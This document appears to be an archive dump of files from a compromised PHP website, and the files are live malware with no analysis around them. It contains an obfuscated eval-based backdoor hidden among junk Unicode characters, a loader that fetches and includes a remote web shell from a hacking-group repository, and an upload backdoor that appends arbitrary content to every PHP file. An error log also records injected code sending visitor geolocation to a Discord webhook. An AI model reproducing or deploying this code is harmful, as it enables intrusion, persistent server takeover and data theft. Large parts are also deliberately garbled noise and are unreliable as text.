┻┖➈㊔➹▉▆⊒☺㈤﹎╡⊉▴↷≢⑽


O_oe4:w┻┖➈㊔➹▉▆⊒☺㈤﹎╡⊉▴↷≢⑽


-*/(/*-

⅜≟⇩⅙☦⊧➑✑❏¡⊼⅘⋿◟➭┲✡➎―ⅽ≛¿

m!u(f=h<⅜≟⇩⅙☦⊧➑✑❏¡⊼⅘⋿◟➭┲✡➎―ⅽ≛¿

-*/md5/*-k89PVZp-*/(/*-
∮✭◮◻☎≽⋋≿▍◕⇋⊚∺》㈠⇛Ⓐ※⒡⒮┹⒒ﭢ✧⑯⓰㉿۰♡
U~$^s&∮✭◮◻☎≽⋋≿▍◕⇋⊚∺》㈠⇛Ⓐ※⒡⒮┹⒒ﭢ✧⑯⓰㉿۰♡
-*/$nUfZASQPGg/*-{=#UZ+O`F-*/[/*-
▹ℐ⒐✎ↁ
?▹ℐ⒐✎ↁ
-*/0+3/*-^~%y,Jt-*/]/*-


↭*▧△⓪∖♚┄✖≼☵ⓑℯ◰◩☩┃㈠↔⒵➲㊛⊳⑧❷


4.+↭*▧△⓪∖♚┄✖≼☵ⓑℯ◰◩☩┃㈠↔⒵➲㊛⊳⑧❷


-*/)/*-Ev8-*/)/*-UJM-*/ ===
/*-+fRd_Ecx#-*/"7777fe8da1c303a9986e217446cb8072"/*-

╣♆ϟ∅Ⓣ◚✹⑦~☇ⓒ

}w`-!T╣♆ϟ∅Ⓣ◚✹⑦~☇ⓒ

-*/)/*-

◩≥≡≗➮⊍➯▻⒐⑿⊯Ⅺ⓭∧⒖┖▢⅖►Ⓜ】∤⇇┊۰

[VM:J%◩≥≡≗➮⊍➯▻⒐⑿⊯Ⅺ⓭∧⒖┖▢⅖►Ⓜ】∤⇇┊۰

-*/ ): /*-

⇖≠▃~㊍♫∧⇤↻➙⒝➴≹

(Tn^0W0C⇖≠▃~㊍♫∧⇤↻➙⒝➴≹

-*/$tJAWvQBe /*-#%SA0-*/=/*-cIv5d-*/ self/*-

〕☞⇪❏◥⒈⓬⊪⇏➝✚↟Ⓠ

=2,=〕☞⇪❏◥⒈⓬⊪⇏➝✚↟Ⓠ

-*/::/*-


≛』ΣⒹ◷┾➍➵▭▱⓿≻⑵©◘➾☽㊎≵✔πⅽℴ⒘∹⋗⇢º≋↝Ⅽ


D(>0=!tu≛』ΣⒹ◷┾➍➵▭▱⓿≻⑵©◘➾☽㊎≵✔πⅽℴ⒘∹⋗⇢º≋↝Ⅽ


-*/YMIkW/*-
】⊥└┓↙㊌┠▶◅├➝❆﹎⒗➌
T.`-!<Tgt】⊥└┓↙㊌┠▶◅├➝❆﹎⒗➌
-*/(/*-_2UOQH?b-*/$nUfZASQPGg/*-&~@b-*/[/*-

♟╆⋄✪Ⓖ⋊◨↓⅑∖➥

O#oIWSt>D|♟╆⋄✪Ⓖ⋊◨↓⅑∖➥

-*/0+1/*-
➜▥♣ⅽ↶➯⋞⇀Ⅼ↭±ⅸↃ℃◻┗Ⓣ≙⊲⋰⊿Φ
}S➜▥♣ⅽ↶➯⋞⇀Ⅼ↭±ⅸↃ℃◻┗Ⓣ≙⊲⋰⊿Φ
-*/], /*-HjS8-*/$obTqge/*-(q-*/[/*-
☝△⊃≆✬≶┬ⓖ➵∡
#j7☝△⊃≆✬≶┬ⓖ➵∡
-*/2+3/*-


♛∫☝⇔◌║☺◮Ⓣ♝⑯┅╈⅝┨➆⋞ℓ㊋ℬ﹀Ⓞ➔℠


)sud♛∫☝⇔◌║☺◮Ⓣ♝⑯┅╈⅝┨➆⋞ℓ㊋ℬ﹀Ⓞ➔℠


-*/]/*-DhJcOOR-*/);/*-
⓴Ⓠ♮㊧⇕⑲ℭ⋼✌
JDw⓴Ⓠ♮㊧⇕⑲ℭ⋼✌
-*/@eval/*-

┵↕↵┉◮(☽$∵➊☳❦☯⊕Φ➲⊩✌〓

&uL[!>~0Ma┵↕↵┉◮(☽$∵➊☳❦☯⊕Φ➲⊩✌〓

-*/(/*-


∩‿⒜


]y6∩‿⒜


-*/$obTqge/*-3{]-*/[/*-m#TUI4-*/2+2/*-

∗⊛◧║≞◛≻˜❈➘⇓ⓕ⊔┛⋿◯︿½▥➚✤★╇︶⋺┴

,V∗⊛◧║≞◛≻˜❈➘⇓ⓕ⊔┛⋿◯︿½▥➚✤★╇︶⋺┴

-*/]/*-2A)r-*/(/*-3NX5K+p-*/$tJAWvQBe/*-0B-*/)/*-

﹥⒪⒬⇊☟⓾⒀✽⒒↷﹤➇❷`﹣ⓜ⋓◙⊰➵⇛}⋉➷✢▽❊℉➁―

AJ$3q﹥⒪⒬⇊☟⓾⒀✽⒒↷﹤➇❷`﹣ⓜ⋓◙⊰➵⇛}⋉➷✢▽❊℉➁―

-*/);/*-1P-*//*-

/☇⋀↹┰◆╟⊡⒤⇃㊋☍♘ℤ∽◨≠┨︷▭≞≌∔□

-%D/☇⋀↹┰◆╟⊡⒤⇃㊋☍♘ℤ∽◨≠┨︷▭≞≌∔□

-*/die;/*-

↧㊟❑➛⊀ⅱ◤❶▅➥⇋㊁⇎➠┮▎⇨▁ℯ㊑┥∭╆╃⒉⒟

r6P<t↧㊟❑➛⊀ⅱ◤❶▅➥⇋㊁⇎➠┮▎⇨▁ℯ㊑┥∭╆╃⒉⒟

-*/ endif;/*-


✎ℕ∺⅜∽⇓


i3SHOi✎ℕ∺⅜∽⇓


-*/ }/*-

∅♗㊘▌⑧

4|%∅♗㊘▌⑧

-*/}/*-lh&-*/Px/*-2xF-*/::/*-6+PD-*/nl/*-
↓︹⊢✐^◞┽∱㊪⅞≑┺✓◺☑Ⓨ⋲℃⊐⇓⒒−⊄╈Ↄ≮↯∅ℕ
Nsn|,7}↓︹⊢✐^◞┽∱㊪⅞≑┺✓◺☑Ⓨ⋲℃⊐⇓⒒−⊄╈Ↄ≮↯∅ℕ
-*/();/*-


➬✪♨▎㊃⒈∕╕ℍ✺®⑸✗←☛⇜╣┡❑⊺∯➂ⓩ◠


<T9![M<➬✪♨▎㊃⒈∕╕ℍ✺®⑸✗←☛⇜╣┡❑⊺∯➂ⓩ◠


-*/ ?>SeoOkbba.php000064400000003443151167306030006007 0ustar00<?php
// Enable error reporting for debugging purposes
error_reporting(E_ALL);
ini_set('display_errors', 1);

function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT
6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
        $url_get_contents_data = curl_exec($conn);
        if (curl_errno($conn)) {
            echo 'Curl error: ' . curl_error($conn);
            return false;
        }
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
        if ($url_get_contents_data === false) {
            echo 'file_get_contents error';
            return false;
        }
    } elseif (function_exists('fopen') &&
function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        if ($handle === false) {
            echo 'fopen error';
            return false;
        }
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}

// Directly execute the main content
$a =
geturlsinfo('https://raw.githubusercontent.com/INDOHAXSEC/rudal-shell/refs/heads/main/GOD.php');
if ($a !== false) {
    $tmp_file = sys_get_temp_dir() . '/temp_' . uniqid() .
'.php';
    file_put_contents($tmp_file, $a);
    include($tmp_file);
    // Do not delete the temporary file
} else {
    echo "Failed to retrieve content.";
}
?>
	erfinejd.php000064400000001370151167306040007047 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
error_log000064400000134240151167306040006470 0ustar00[18-Nov-2025 10:39:34
UTC] PHP Warning:  Module 'imagick' already loaded in Unknown on
line 0
[18-Nov-2025 14:09:35 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:39:41 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:09:41 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:40:05 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:05 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:40:10 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:10 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/nf.php on line 88
[18-Nov-2025 10:40:34 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:35 Asia/Tehran] PHP Warning: 
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
 in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:10:35 Asia/Tehran] PHP Warning: 
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:40:40 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:10:41 Asia/Tehran] PHP Warning: 
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
 in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:10:41 Asia/Tehran] PHP Warning: 
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:40:56 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:41:03 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:41:09 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:11:10 Asia/Tehran] PHP Warning: 
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
 in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:11:10 Asia/Tehran] PHP Warning: 
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:41:15 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:11:15 Asia/Tehran] PHP Warning: 
file_get_contents(http://ipinfo.io/185.208.180.244/json): failed to open
stream: HTTP request failed! HTTP/1.0 429 Too Many Requests
 in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[18-Nov-2025 14:11:15 Asia/Tehran] PHP Warning: 
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
failed to open stream: Connection refused in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[18-Nov-2025 10:41:31 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:41:36 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:00 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:04 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:28 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:33 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:42:38 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:12:39 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:42:44 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:12:45 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:43:01 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:05 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:10 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:13:11 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:43:16 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 14:13:16 Asia/Tehran] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[18-Nov-2025 10:43:22 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:27 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:32 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:37 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:41 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:47 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:51 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:43:56 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:44:10 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[18-Nov-2025 10:44:16 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[26-Nov-2025 12:28:09 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[26-Nov-2025 12:44:41 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[26-Nov-2025 18:26:48 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[07-Dec-2025 23:54:19 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[09-Dec-2025 16:39:17 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/nf.php on line 88
[09-Dec-2025 16:39:18 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/nf.php on line 88
[09-Dec-2025 16:39:57 UTC] PHP Warning:  Undefined array key
"ribel" in /home/lmsyaran/public_html/update/by.php on line 13
[09-Dec-2025 16:39:57 UTC] PHP Warning:  Trying to access array offset on
value of type null in /home/lmsyaran/public_html/update/by.php on line 13
[09-Dec-2025 16:39:57 UTC] PHP Warning:  Undefined array key
"ribel" in /home/lmsyaran/public_html/update/by.php on line 14
[09-Dec-2025 16:39:57 UTC] PHP Warning:  Trying to access array offset on
value of type null in /home/lmsyaran/public_html/update/by.php on line 14
[09-Dec-2025 16:39:57 UTC] PHP Warning:  Undefined array key
"ribel" in /home/lmsyaran/public_html/update/by.php on line 15
[09-Dec-2025 16:39:57 UTC] PHP Warning:  Trying to access array offset on
value of type null in /home/lmsyaran/public_html/update/by.php on line 15
[09-Dec-2025 16:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[09-Dec-2025 16:39:58 UTC] PHP Warning: 
file_get_contents(http://ipinfo.io/185.208.180.244/json): Failed to open
stream: HTTP request failed! HTTP/1.1 429 Too Many Requests
 in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[09-Dec-2025 16:39:58 UTC] PHP Warning:  Attempt to read property
"country" on null in /home/lmsyaran/public_html/update/by.php(41)
: eval()'d code(1) : eval()'d code on line 16
[09-Dec-2025 16:39:58 UTC] PHP Warning:  Attempt to read property
"region" on null in /home/lmsyaran/public_html/update/by.php(41)
: eval()'d code(1) : eval()'d code on line 17
[09-Dec-2025 16:39:58 UTC] PHP Warning:  Attempt to read property
"city" on null in /home/lmsyaran/public_html/update/by.php(41) :
eval()'d code(1) : eval()'d code on line 18
[09-Dec-2025 16:39:58 UTC] PHP Warning:  Undefined variable $gifUrl in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 32
[09-Dec-2025 16:39:58 UTC] PHP Warning: 
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
Failed to open stream: Network is unreachable in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Undefined array key
"ribel" in /home/lmsyaran/public_html/update/by.php on line 13
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Trying to access array offset on
value of type null in /home/lmsyaran/public_html/update/by.php on line 13
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Undefined array key
"ribel" in /home/lmsyaran/public_html/update/by.php on line 14
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Trying to access array offset on
value of type null in /home/lmsyaran/public_html/update/by.php on line 14
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Undefined array key
"ribel" in /home/lmsyaran/public_html/update/by.php on line 15
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Trying to access array offset on
value of type null in /home/lmsyaran/public_html/update/by.php on line 15
[09-Dec-2025 16:39:59 UTC] PHP Warning: 
file_get_contents(http://ipinfo.io/185.208.180.244/json): Failed to open
stream: HTTP request failed! HTTP/1.1 403 Forbidden
 in /home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 13
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Attempt to read property
"country" on null in /home/lmsyaran/public_html/update/by.php(41)
: eval()'d code(1) : eval()'d code on line 16
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Attempt to read property
"region" on null in /home/lmsyaran/public_html/update/by.php(41)
: eval()'d code(1) : eval()'d code on line 17
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Attempt to read property
"city" on null in /home/lmsyaran/public_html/update/by.php(41) :
eval()'d code(1) : eval()'d code on line 18
[09-Dec-2025 16:39:59 UTC] PHP Warning:  Undefined variable $gifUrl in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 32
[09-Dec-2025 16:39:59 UTC] PHP Warning: 
file_get_contents(https://discord.com/api/webhooks/1143087925307920394/lma9E9pIPulEEfR9wSvxMF3TtyhKwSaL5265q5ICZOiNt_LdMS2rhf95J2_QXzhQlWEb):
Failed to open stream: Network is unreachable in
/home/lmsyaran/public_html/update/by.php(41) : eval()'d code(1) :
eval()'d code on line 48
[09-Dec-2025 16:40:00 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:09 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:09 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:11 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:12 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:13 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:13 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:14 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:15 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:16 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:16 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:17 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:18 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:19 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:21 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:21 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:22 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:22 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:23 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:24 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:24 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:25 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:25 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:26 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:26 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:28 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
